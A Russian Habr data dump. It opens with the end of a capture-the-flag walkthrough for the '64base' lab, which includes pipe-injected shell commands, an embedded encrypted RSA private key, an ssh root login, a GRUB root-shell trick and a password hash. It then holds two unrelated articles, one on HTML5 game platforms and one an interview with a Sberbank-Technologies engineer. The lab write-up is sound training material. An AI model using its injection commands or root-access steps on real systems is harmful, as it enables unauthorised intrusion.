/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}
/var/www/html/admin/.htaccess
/var/www/html/admin/.htaccess
/var/www/html/admin/index.php
Флаг найден, а вместе с ним и новая подсказка: Look Inside! :D flag6
Нас просят заглянуть внутрь этого файла. Ок сделаем это: #Копируем файл в доступную нам директорию
|locate admin|grep html|xargs find|grep TG|xargs cp -t .
#Изменяем права доступа
|ls|grep TG|xargs chmod 777
Открываем в браузере, файл оказался картинкой:
Запустим exiftool и посмотрим метаданные этой картинки Скрытый текст ExifTool Version Number: 9.46
File Name: flag5{TG9vayBJbnNpZGUhIDpECg==}.jpeg
Directory:.
File Size: 192 kB
File Modification Date/Time: 2016:12:16 05:32:02+03:00
File Access Date/Time: 2016:12:16 05:32:08+03:00
File Inode Change Date/Time: 2016:12:16 05:32:02+03:00
File Permissions: rw-------
File Type: JPEG
MIME Type: image/jpeg
JFIF Version: 1.01
Resolution Unit: inches
X Resolution: 72
Y Resolution: 72
Comment: 4c5330744c5331435255644a546942535530456755464a4a566b46555253424c52566b744c5330744c517051636d396a4c565235634755364944517352553544556c6c5156455645436b52460a5379314a626d5a764f69424252564d744d5449344c554e43517977324d6a46424d7a68425155513052546c475155457a4e6a55335130457a4f44673452446c434d7a553251776f4b625552300a556e684a643267304d464a54546b467a4d697473546c4a49646c4d356557684e4b325668654868564e586c795231424461334a6955566376556d64515543745352307043656a6c57636c52720a646c6c334e67705a59303931575756615457707a4e475a4a55473433526c7035536d64345230686f5533685262336857626a6c7252477433626e4e4e546b5270636e526a62304e50617a6c530a524546484e5756344f58673056453136436a684a624552435558453161546c5a656d6f35646c426d656d56435246706b53586f35524863795a323479553246465a335531656d56734b7a5a490a52303969526a686161444e4e53574e6f6554687a4d5668795254414b61335a4d53306b794e544a74656c64334e47746955334d354b31466856336c6f4d7a52724f45704a566e7031597a46520a51336c69656a56586231553157545532527a5a784d564a6b637a426959315a785446567a5a51704e5533704c617a4e745332465851586c4d574778764e3078756258467856555a4c5347356b0a516b557855326851566c5a704e47497752336c475355785054335a3062585a47596a5172656d68314e6d705056316c49436d73796147524453453554644374705a3264354f57686f4d3270680a52576456626c4e51576e56464e30354b6430525a5954646c553052685a3077784e31684c634774744d6c6c70516c5a7956566834566b31756232494b643168535a6a56435930644c56546b330a65475276636c59795648457261446c4c553278615a5463354f58527956484a475230356c4d4456326545527961576f315658517953324e52654373354f457334533342585441706e645570510a556c424c52326c71627a6b3253455248597a4e4d4e566c7a65453969566d63724c325a714d4546326330746d636d4e574c327834595663725357313562574d7854566870536b316962554e360a62455233436c52425632316863577453526b52355154464956585a30646c4e6c566e46544d533949616d6845647a6c6b4e45747a646e4e71613270326557565256484e7a5a6e4e6b52324e560a4d47684561316833556c647a6332514b4d6d517a5279744f616d3078556a56615445356e556d784f63465a48616d684c517a524263325a59557a4e4b4d486f7964444e4355453035576b39430a54554a6c4f5552344f4870744e58684757546c365633527964677042523342794d454a6f4f45745264323177616c4656597a46685a6e4e78595646594d465649546b7859564446615431644c0a616d63305530457a57454d355a454e4665555a784d464e4a65464671547a6c4d52304e48436a52524e57356a5a6c566f62585a3063586c3164454e7362444a6b5746427a57465a455a54526c0a6230517851327432536b354557544e4c554663725232744f4f5577724f554e516554677252453531626b5a4a6433674b4b3151724b7a64525a7939315546684c6354524e4e6a464a555467770a4d7a52566148565356314d30564846514f57463657444e44527a6c4d65573970516a5a57596b74505a555233546a68686157784d533170436377706d57546c524e6b464e4d584e3562476c360a53444675626e684c5433526155566431636e68715230704353584d324d6e526c6245317259584d356555354e617a4e4d64546478556b6732633364504f584e6b56454a70436974714d4867300a64555261616b706a5a30315965475a694d4863315154593062466c4763303153656b5a714e31686b5a6e6b784f53744e5a54684b525768524f45744f57455233555574456556564d526b39550a63336f4b4d544e575a6b4a4f65466c7a65557731656b6459546e703563566f3053533950547a644e5a575179616a4248656a426e4d6a4670534545764d445a74636e4d795932786b637a5a540a56554a4852585a754f4535705667707955334a494e6e5a46637a5254656d63776544686b5a45643255544278567a463254577455556e557a54336b765a544577526a63304e586845545546550a53314a7353316f32636c6c4954554e34536a4e4a59323530436b56364d45394e57466c6b517a5a4461555976535664305a3252564b32684c65585a7a4e484e4764454e4359327854595764740a5246524b4d6d74615a485530556c4a3357565a574e6d394a546e6f35596e4250646b554b556e677a534656785a6d354c553268796458704e4f56707261556c7264564e6d556e526d615531320a596c52365a6d5a4b56464d30597a513451303831574339535a5559765157464e654774695532524654305a7a53517047646a6c595a476b355532524f6458684853455579527a5249646b706b0a53584279526c5679566c4e7755306b344d48646e636d49794e44567a647a5a6e5647397064466f354d47684b4e47354b4e5746354e304648436c6c7059574531627a63344e7a63765a6e63320a57566f764d6c557a5155526b61564e50516d3072614770574d6b705765484a7665565659596b63315a475a734d32303452335a6d4e7a464b4e6a4a4753484534646d6f4b63557068626c4e720a4f4445334e586f77596d70795746646b5445637a52464e735355707063327851567974355247466d4e316c43566c6c33563149725645457861304d326157564a5154563056544e776269394a0a4d776f324e466f31625842444b3364785a6c52345232646c51334e6e53577335646c4e754d6e41765a5756305a456b7a5a6c46584f46645952564a69524756304d56564d5346427864456c700a4e314e61596d6f3464697451436d5a7553457852646b563353584d72516d59785133424c4d554672576d565654564a4655577443614552704e7a4a49526d4a334d6b6376656e46306153395a0a5a4735786545463562445a4d576e704a5a5646754f48514b4c3064714e477468636b6f78615530355357597a4f57524e4e55396851315a615569395554304a575956493462584a514e315a300a536d39794f57706c53444a305255777764473946635664434d56424c4d48565955416f744c5330744c55564f524342535530456755464a4a566b46555253424c52566b744c5330744c516f3d0a
Image Width: 960
Image Height: 720
Encoding Process: Baseline DCT, Huffman coding
Bits Per Sample: 8
Color Components: 3
Y Cb Cr Sub Sampling: YCbCr4:4:4 (1 1)
Image Size: 960x720
Скопируем содержимое поля Comment и выполним те же преобразования, что и с предыдущими флагами. На выходи вместо флага нам дали приватный RSA ключ: Скрытый текст -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH
k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx
+T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3
64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P
fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t
/Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
-----END RSA PRIVATE KEY-----
Воспользуемся им для подключения по ssh ssh root@192.168.1.2 -p 62964 -i key.rsa
Пароль как легко догадаться написан на картинке, после успешного подключения мы получаем последний флаг: flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}
В котором закодирована команда: base64 -d /var/local/.luke|less.real
И root доступ к виртуальной машине. Задание пройдено! P.S. Существует ещё как минимум 1 способ пройти эту лабу. Грязный хак Сразу после загрузки образа в VirtualBox, появляется запрос авторизации. Во время загрузки можно заметить что используется GRUB, поэтому перезагружаемся, ждем появления меню выбора ОС, и меняем параметры загрузки:
Загружаемся и получаем root. Осмотревшись в системе, переходим в директорию сайта.
Выполнив команду: cd /var/www/html
ls -l | wc -l
Получим количество элементов в данной директории, их оказалось 443. Нам пока понадобится каталог admin . Просмотрев его содержимое в папке S3cR37 находим второй флаг
Здесь же можем найти хеш пароля к этой директории и имя пользователя: 64base:$apr1$SNPbKyA8$0.2pIMdx4JVVA6jsX/Ru30
Смотрим содержимое файла index.html, и получаем первый флаг. Выполняем команду: grep -r flag3 /var/www/
И находим третий флаг
Аналогично находим пятый и шестой флаги: root@64base:~# find /var/www/html/ -name flag* /var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==} root@64base:~# grep -r flag6 / /root/.profile:echo «flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}»
Ну и из файла /var/www/html/Imperial-Class/BountyHunter/login.php извлекаем и декодируем четвёрный флаг: $_u = base64_decode('ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo=').' '.$_s; | https://habrahabr.ru/post/317346/ |
habrahabr | Новые перспективные площадки для игр HTML5 | ['разработка игр', 'браузерные игры', 'социальные сети', 'white nights'] |
В последнее время все чаще возникают разговоры по поводу пресыщения проектами стандартных игровых рынков, таких как мобильный, Steam, онлайн. Начинающим, инди или небольшим компаниям становится... |
В последнее время все чаще возникают разговоры по поводу пресыщения проектами стандартных игровых рынков, таких как мобильный, Steam, онлайн. Начинающим, инди или небольшим компаниям становится всё сложнее продвигать свой продукт и хотя-бы отбивать затраты на его создание. В том же Google Play ежедневно выходят десятки новых игр и для попадания в заветные топы тратятся значительные деньги на продвижение. Сложилась ситуация, когда верхние строчки топов постоянно забиты проектами с очень серьезными бюджетами. То же самое касается и Steam. Так что же делать?
В октябре этого года в Москве прошла уже привычная конференция по разработке и продвижению игр White Nights 2016. В этот раз прозвучали некоторые обнадеживающие новости по образованию перспективных рынков сбыта.
К сожалению, я не присутствовал на этом мероприятии, но тщательно отслеживаю официальный канал YouTube «White Nights Conference» на котором периодически выкладываются видео докладов участников. Среди них есть несколько очень любопытных выступлений, которые показывают зарождение новых рынков сбыта для игровой продукции. А самое интересное, что они пока не захламлены, имеют приоритет поддержки со стороны разработчиков платформ и достаточно низкий порог фичеринга. Эти условия выглядят очень заманчивыми именно для инди или небольших компаний, не имеющих солидного бюджета для раскрутки своих проектов. Причем замечу, что в первую очередь разговор идет о веб и, с некоторыми натяжками, мобильных платформах. Рамблер/Игры
Что такое Рамблер — знают, наверное, все. Это медийный портал, объединяющий несколько сервисов, таких как почта, новости, система поиска, видео и т.д. Ранее компания уже пыталась работать в игровом направлении. Например, с 2006 года существовала возможность просмотра и скачивания демо казуальных игр с последующей оплатой полной версии через СМС. Со временем, эта игровая витрина была прикрыта, а сами игры перекочевали на Канобу. И вот, на конференции White Nights 2016 прозвучал доклад представителя Рамблер о новой попытке компании выйти на игровой рынок, в качестве площадки для размещения. Игровая витрина получила название «Рамблер/Игры» и в данный момент уже функционирует.
Основная задумка Рамблер — создание этакого симбиоза партнерских игр с видео-сервисом. Насколько я понял, предполагается создание замкнутой экосистемы. Человек посмотрел видео (Летсплей? Трейлер?) и захотел поиграть в эту игру. Складывается ощущение, что видеосервис будет обслуживать только саму игровую витрину. Как это будет функционировать, пока непонятно, так как компания приступила только к начальному этапу реализации своей задумки.
Рамблер в основном делает упор на публикацию браузерных игр. Хотя в дальнейшем также планируется выход и на мобильные платформы. Монетизация предполагается за счет игровых покупок. Тут, конечно, возникает вопрос, как будет выполнена технически эта возможность. Насколько я знаю, у Рамблер не имеется какой-либо игровой валюты и соответствующего API. Также нет каких-либо игровых социальных плюшек (друзья, лидерборды и т.д.) Но, опять-таки, возможно я ошибаюсь. К сожалению, на сайте Рамблер/Игры мне не удалось найти каких-либо ссылок на девелоперский портал.
Пока этот проект только в зачаточном варианте, хотя в сети Интернет уже доступна тестовая витрина. Сейчас на ней присутствует всего с десяток игр с достаточно простым содержанием. Никаких категорий, разбивки по жанрам найти не удалось. Либо хитро спрятано, либо это всё, что можно увидеть.
До конца года разработчики собираются объявить о запуске платформы. Весной ожидается уже общий релиз самой игровой площадки с видеосервисом.
Что еще интересного может предложить Рамблер для игроделов: В докладе прозвучали цифры по разделению доходов . Компания, пока, решила остановиться на 50/50. Здесь возникают «непонятки», почему предлагается такое соотношение. Тот же Google берет 30% с каждой транзакции. Возможно, компания может предложить что-то отличное от привычной доходной модели и в докладе это не прозвучало. А возможно здесь выступают партнерские отношения по типу издательских.
Аудитория проекта . По словам докладчика, через полгода после запуска, витрина должна выйти на показатель 100 тыс. пользователей в сутки, а также 10-15 тысяч регистраций на момент старта игры.
Вообще пока складывается двоякое впечатление. Не совсем понятна система партнерских отношений: как добавить игру, на каких условиях. Нет данных о технической составляющей. Интересна идея симбиоза видео с играми, но непонятно, как это будет реализовано. Очень скромные прогнозируемые показатели посещаемости и регистрации. Вероятно, такое вряд ли заинтересует (по крайне мере на начальном этапе) крупных акул игрового бизнеса, но здесь и просматривается шанс для инди и небольших команд. ВКонтакте
То, что игры можно размещать в этой популярной социальной сети — не секрет. Мало того, площадка достаточно сложная для освоения и раскрутки контента. Здесь также требуются значительные ресурсы, но, конечно, гораздо меньше, чем для мобильных платформ. И все же, кое-что интересное докладчик от ВКонтакте сумел поведать.
Здесь прозвучала очень интригующая информация: « Следующая веха в истории VK — это HTML5 игры… Мы расширяем нашу вебплатформу… предоставляем разработчикам запускать свои HTML5 проекты, как в вебе, так и в мобильных устройствах внутри официальных клиентов ВКонтакте... ». (см. видео «Maxim Babichev (VK.com) — VK.com Gaming Platform: News and Perspectives» с 8 минуты).
Итак, сейчас есть четкое разграничение — витрина с играми для веба и игры для мобильных устройств. Разработчики ВКонтакте стремятся объединить эти две категории в нечто одно целое за счет HTML5 и сделать прозрачной публикацию игр для этих платформ. Т.е., если у вас есть HTML5 игра для веба, то она также автоматом появится в мобильном клиенте. Никаких отдельных сборок, только оптимизация под разные разрешения экрана и соответствующее управление. Так как игра будет запускаться внутри мобильного клиента социальной сети, то все функции её остаются живыми. Например, можно будет переписываться с друзьями, пока игра работает в фоновом режиме. Приложение будет кэшировано и в любой момент можно продолжить ее выполнение с момента «заморозки». Кроме того, API системы остается единым для обеих платформ.
По заверениями представителя ВКонтакте: « … процесс апрува не будет чем-то отличаться от того, как это происходит для веб… игра должна работать с данными пользователя и обладать виралкой… без каких-либо кнопок возврата в клиент » (см. видео «PANEL DISCUSSION: Are There Games on HTML 5, or What Is Out There for Flashers?» с 54 минуты).
Таким образом, ВКонтакте предлагает еще одну очень заманчивую площадку для распространения игр. Одноклассники
Не особо интересовался этой социальной сетью, да и меня там собственно нет, но для разработчиков игр там также представлены несколько любопытных площадок. Начнем с того, что в ОК поддерживается четыре типа платформ: веб, нативные, мобильные HTML5 и мессенджер. Последние два вариант особо интересные. Мобильные игры HTML5 — это отнюдь не новинка в ОК, но по словам представителя этой соц. сети (см. видео «Are There Games on HTML 5, or What Is Out There for Flashers?» с 11 минуты) они предоставляют максимум фичеринга для более-менее симпатичной игрушки в течении нескольких недель, что может вылиться в 50-60 тыс. установок в неделю. Игр в этой категории достаточно мало и имеется масса ниш, которые можно занять.
Весьма необычной выглядит идея запуска игр непосредственно в мессенджере системы. Приживется это или нет, но такое уже появилось и даже есть во что поиграть. Не потеряются ли игры среди потока сообщений, будут ли в них играть пользователи и какой получится «выхлоп», пока под вопросом. Однако, это новая, свободная и, скорее всего, перспективная платформа, которую было бы грех упускать. Опять-таки «акулы бизнеса» появятся на ней только после серьезной раскрутки системы.
Конечно, такие игры в мессенджере должны соответствовать не только требованиям системы, но и иметь соответствующие социальные механизмы. Понятное дело, что одиночный режим здесь будет выглядеть куда бледнее мультиплеера, а количество интересных жанров для пользователей весьма ограниченно. Но это новая платформа и «Одноклассники» будут прилагать массу усилий для ее раскрутки. Опять-таки, очень серьезный шанс для разработчиков игр. Что в итоге
Итак, начинающие разработчики сталкиваются с большими сложностями с продвижением своих игр в стандартных сторах и платформах. Сейчас появилась возможность попробовать запуститься с гораздо меньшими усилиями на новых площадках, получить фичеринг от модераторов и тем самым немного заработать. Есть только одно условие — игры должны быть HTML5.
HTML5/WebGL является камнем преткновения для многих разработчиков, несмотря на множество имеющегося инструментария. Привычный и очень распространенный Unity имеет много проблем с WebGL, особенно это касается мобильного сегмента. Масса разработчиков все же сидит на Unity и в силу ограничений последнего, вынуждены игнорировать площадки для HTML5 игр. Похожая ситуация и с пользователями Unreal. Однако есть и другие технологии. Не столь известные, но с лучшими возможностями для создания игр HTML5. 2D
Например, конструктор Scirra Construct с визуальным редактором логики. Его отличительной особенностью является возможность быстрого прототипирования и наличие полноценного редактора сцен. Также доступны множество программных заготовок и ресурсов в фирменном онлайн-магазине. Конструктор весьма дорогой. Но для экспорта в HTML5 идеально подходит бесплатная версия.
Бесплатный 2D движок Defold . Еще один типичный представитель этого направления. В нем кажется есть все: редактор сцен, контроль версий, генератор частиц, тайловый редактор и т.д. Выглядит очень перспективным, но учтите, что исходники движка не прилагаются, что может несколько ограничить его использование.
Ну и конечно же масса всяких библиотек, например, Pixi.JS , Phaser и т.д. 3D
К сожалению, набор инструментария для создания трехмерных игр для HTML5 гораздо меньше, но и здесь есть, что посмотреть! Все зависит от поставленных целей. Если вы хотите ограничиться только стационарными компьютерами, то прекрасно подойдут Unity и Unreal. Однако для большинства рассмотренных выше перспективных платформ, нужен движок оптимально работающий в разных средах.
Набирающий обороты Blend4Web — это мощный фреймворк с открытым кодом и построенный на основе Blender. Практически все, что умеет Blender, нативно переносится в HTML5. Последние релизы движка обогатились встроенным поиском пути, заготовками под игры от первого лица, поддержкой материалов фотореалистичного рендера Cycles, поддержкой VR. Движок имеет двойную лицензию, но зато платная версия привязана к рублю и неподвержена этим диким расценкам на доллар.
Простой и функциональный движок BabylonJS . Просто гигантская коллекция демо на сайте. Отличительная особенность — онлайновый редактор сцены с весьма мощными возможностями.
Интересный 3D-движок PlayCanvas .
Библиотека ThreeJS . О ней, я думаю, слышали все.
Вообще я не ставил целью производить поиск и сравнение различных игровых движков, поэтому список неполный. Главное, что можно подобрать инструмент под свой вкус и конкретную задачу, а не ждать когда допилят нужный функционал в казалось бы привычном инструменте. Время дорого!
Как говорится, кто ищет, тот всегда найдет. А новые площадки для размещения игр просто-таки требуют к себе внимательного отношения. Использованные источники:
» Janna Goranskaya (Rambler) — What Does Rambler/Games Mean?
» Maxim Babichev (VK.com) — VK.com Gaming Platform: News and Perspectives
» PANEL DISCUSSION: Are There Games on HTML 5, or What Is Out There for Flashers? | https://habrahabr.ru/post/317736/ |
habrahabr | Как работают ИТ-специалисты. Максим Зелинский, компания «Сбербанк-Технологии» | ['интервью с разработчиками', 'советы начинающим', 'лайфхак', 'привычки', 'организация работы', 'высоконагруженные проекты'] | Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом.
Будет интересно выяснить, что их... | Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом.
Будет интересно выяснить, что их объединяет, в чем они противоречат другу другу. Возможно, их ответы помогут выявить какие-то общие закономерности, полезные советы, которые помогут многим из нас.
Сегодня наш гость — Максим Зелинский из компании «Сбербанк-Технологии». В его компании много внутренних проектов. Максим предлагает лайфхак, который подходит для тех, кто не считает себя гениями-многостаночниками. Чем занимаетесь в компании?
Я отвечаю за развитие Платформы для задач Единой Фронтальной Системы — системы, которая будет обслуживать всех клиентов Сбербанка во всех каналах (отделения, интернет-банки, мобильные приложения, АТМ и так далее). Наша команда занимается high-load и high-availability архитектурой, отвечает за выбор технологических решений и создает системные и инфраструктурные сервисы. Одно слово (словосочетание) лучше всего описывающее как вы работаете:
Хардкорный Research & Development (R&D). Сколько часов в сутки вы уделяете работе?
У меня получается, что я начинаю работать, когда еду в метро. Когда приезжаю на работу, начинаются митинги, совещания, и где-то под вечер я могу продолжить работать, затем заканчиваю дома. В сумме получается 11-12 часов. Что еще делаете по пути на/с работы?
Когда не разгребаю рабочую почту в метро, обычно читаю книги или мануалы по новым технологиям. Всегда надо быть на «острие ножа». Понятно, что есть люди, которые лучше меня знают эти технологии. И я рад, что они работают со мной, в моей команде. Сколько часов вы спите?
Стараюсь спать 8 часов. Каким to do менеджером пользуетесь лично вы?
Я пробовал Trello. И сейчас иногда им пользуюсь. Каким таск-менеджером / issue-tracker’ом / репозиторием пользуетесь?
СберТех использует стек Atlassian: JIRA как issue-tracker, Confluence – для wiki и Bitbucket – для Git-репозиториев. Какое рабочее окружение используете? Фреймворки, другие сторонние продукты?
Для артефактов мы используем Nexus, где помимо Java-артефактов мы так же храним JavaScript-артефакты в виде NPM модулей. Сборка у нас на Jenkins.
Вообще у нас все довольно просто: фронтенд – это JavaScript, бекенд – это Java.
Что касается технологий, то мы плотно сидим на React’е как для web, так и для mobile. Сейчас мы активно пилотируем React Native для приложений, которые используют сотрудники Банка. Есть ли в вашей команде какие-то внутренние проекты, библиотеки и для чего они создавались?
Наша команда, по сути, только и занимается созданием библиотек, предназначенных для разработчиков, которые уже реализуют бизнес решения на базе Платформы для разных каналов (интернет банки, мобильные приложения и так далее).
При этом мы стараемся быть практиками и создавать библиотеки только для тех кейсов, которые, во-первых, реальны (порой приходиться апеллировать к YAGNI ), во-вторых, подразумевают переиспользование между разными командами.
На бекенде мы используем проекты Spring, при этом мы их постепенно переписываем под наши задачи. Вообще проекты, которые развиваются в составе Spring, если не брать Spring Framework, очень разные по качеству и порой не совсем совместимы: Spring Session, который мы использовали, не до конца поддерживает Servlet спецификацию в части работы с HttpSession, что проявлялось в очень странном поведении Spring Web Flow, который мы так же использовали.
При этом сам Spring Web Flow под наши задачи то же перестал подходить: нам пришлось его сначала сильно модернизировать для поддержки SPA (SWF заточен на server-side отрисовку), и после многочисленных попыток заставить его стабильно работать (и отчасти из-за непродуманных механизмов для расширения) мы написали свой аналог, полностью рассчитанный на работу с SPA, и который, я надеюсь, мы в скором времени выложим в open source. Что вас раздражает больше всего, когда вы работаете?
Все мою карьеру я всегда придерживался принципа You Build it – You run it. Когда команда разработки и команда сопровождения – это одна команда (пускай линейно подчиняющаяся разным менеджерам), имеющая одну цель, отвечающая как за time-to-market нового функционала, так и за его надежность и производительность.
В Сбертехе отдельная команда разработки и отдельная команда эксплуатации. Мы стараемся взаимодействовать, общаемся очень тесно, но наши KPI не всегда совпадают. Из-за этого возникают конфликты: мы хотим что-то быстро внедрить, а отдел эксплуатации заинтересован в том, чтобы все было от и до протестировано, имело абсолютно все механизмы по отказоустойчивости. Иногда это оправдано, но иногда это просто overhead. В эпоху Agile подобная конструкция, по моему мнению, должна претерпеть изменения. В качестве важного шага сейчас в Сбербанке и СберТехе идет проект по внедрению практик DevOps, мы все увидим первые результаты уже в 2017 году.
Мне импонирует система, которая применяется, например, в Google – когда у каждой команды есть свой бюджет по доступности системы, которым она распоряжаются. То есть, если на протяжение нескольких релизов система постоянно падала, то пока не наверстается бюджет, эксплуатация блокирует новые релизы. Но при этом если бюджет есть, то команда сама выбирает какие решения по надежности она применяет и как, и эксплуатация не вправе блокировать релизы. Какую профессиональную литературу вы бы могли порекомендовать?
На мой взгляд, самая лучшая книга по архитектуре – Software Systems Architecture: Working With Stakeholders Using Viewpoints and Perspectives . Там рассмотрены все аспекты: что такое архитектура, кто является ее заказчиком, какие аспекты надо освещать в архитектуре и так далее.
Вторая книга по архитектуре с упором на надежность – High Availability and Disaster Recovery: Concepts, Design, Implementation . Она немного устаревшая, но там есть такой раздел: анализ ценности решений по отказоустойчивости. Мы обычно начинаем с каких-то простых и относительно дешевых решений: например, ставим балансировщики. При этом мы можем закончить ужасным адом, который совсем чуть-чуть добавляет проекту надежности, но разработка этого фрагмента функциональности стоит безумных денег. Эта книга учит рациональному подходу: всегда есть single point of failure, и что если его нет, то мы о нем просто не знаем.
Из легкого чтения я рекомендую – Release It . Я считаю эту книгу полезной абсолютно всем: разработчикам, архитекторам, менеджерам. Что предпочитаете: электронные читалки или бумажные книги?
Предпочитаю бумажные. Но обычно техническая литература – это книги по 600 страниц. Поэтому приходится часто использовать электронные читалки — я для этого использую iPad первого поколения. Но я все равно стараюсь покупать бумажные книги, чтобы они хотя бы стояли в моей домашней библиотеке. Какую технику (компьютеры, планшеты, смартфоны) и операционные системы вы предпочитаете на работе и дома?
Все мои мобильные устройства – это Apple. По крайней мере, несколько лет назад было актуально их главное преимущество – высокое качество. К сожалению, сейчас они стали гораздо хуже. Но у меня есть старый белый пластиковый MacBook, просто не убиваемый: я там батарейку только периодически меняю, и все. Даже HDD стоит родной.
На работе у нас Windows (кроме iOS разработчиков, естественно), но недавно был запущен пилотный проект по переходу на Linux. Многие коллеги сразу же в этот проект вписались. Вы слушаете музыку, когда работаете?
Нет, я предпочитаю тишину. Музыка меня отвлекает. Какой лайфхак позволяет вам быть эффективнее?
То, чему я научился на своем опыте – это необходимость делегирования. При этом надо стараться нанимать людей, которые умнее тебя, чтобы можно было со спокойной душой доверить им задачи, которые даже тебе не по зубам. Все самому успеть невозможно. Без каких приложений и сервисов не можете обойтись ни в работе, ни в личной жизни?
Очевидно, почта. WhatsApp – у меня там почти все друзья сидят. Trello – это мой трекер задач и активностей. Что бы вы порекомендовали человеку, пытающемуся пройти тот же путь?
Самообразование – это самое важное. У тебя может быть опыта мало, и ты сейчас еще учишься в институте, но хорошо знаешь, например, Core Java, пробовал для себя разные технологии и делал какие-то свои маленькие проекты. В этом случае ты уже достоин работать в компаниях, где относятся к соискателям как к людям. Просто в некоторых компаниях есть жесткий прескрининг: нет опыта – даже не смотрят.
А мы всегда смотрим всех кандидатов и делаем выводы только на собеседовании. Я даже резюме особенно не смотрю, а просто пролистываю, чтобы у меня не было предвзятого отношения к человеку.
Поэтому надо постоянно заниматься самообразованием. При этом надо именно хорошо разбираться в основах – ничего страшного, что кандидат забыл API какого-то компонента, но если он может рассказать, как он работает внутри (или хотя бы предположить, пусть и не совсем правильно), это уже 100 очков вперед.
